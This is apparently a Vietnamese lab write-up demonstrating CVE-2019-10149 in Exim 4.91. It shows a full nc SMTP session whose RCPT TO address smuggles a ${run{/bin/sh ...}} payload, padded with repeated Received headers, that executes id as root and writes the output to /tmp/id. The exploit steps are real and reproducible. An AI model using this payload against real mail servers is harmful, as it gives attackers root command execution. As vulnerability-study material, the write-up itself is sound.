CVE-2019-10149: Critical Remote Command Execution In Exim
CVE-2019-10149 là một lỗ hổng thực thi lệnh từ xa được giới thiệu trong phiên bản Exim trước trước phiên bản 4.92. Trong cấu hình mặc định, kẻ tấn công cục bộ có khả năng khai thác lỗ hổng này để thực thi các lệnh như người dùng root ngay bằng cách gửi thư đến một địa chỉ thư được tạo thủ công đặc biệt trên localhost.

Môi trường LAB
Exim version 4.91
Thực hiện
-
Mục tiêu tạo ra file
/tmp/idchứa thông tin id user -
Ban đầu kiểm tra xem có tồn tại file /tmp/id
[root@testexim ~]# cat /tmp/id
cat: /tmp/id: No such file or directory
[root@testexim ~]#
- Trên user
minhkmathực hiện
RCPT TO:<${run{x2Fbinx2Fsht-ctx22idx3Ex3Ex2Ftmpx2Fidx22}}
[minhkma@testexim ~]$ nc 127.0.0.1 25
220-cpanel.localhost.localdomain ESMTP Exim 4.91 #1 Fri, 14 Jun 2019 16:50:25 +0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
HELO localhost
250 cpanel.localhost.localdomain Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{x2Fbinx2Fsht-ctx22idx3Ex3Ex2Ftmpx2Fidx22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hbirS-0000mL-ER
QUIT
221 cpanel.localhost.localdomain closing connection
Ncat: Broken pipe.
- Sau đó quay lại kiểm tra
[root@testexim ~]# cat /tmp/id
uid=0(root) gid=12(mail) groups=12(mail)
uid=0(root) gid=12(mail) groups=12(mail)
-
Tài liệu tham khảo
- https://www.exploit-db.com/exploits/46974
- https://www.zdnet.com/article/exim-email-servers-are-now-under-attack/
- https://www.openwall.com/lists/oss-security/2019/06/06/1









Add Comment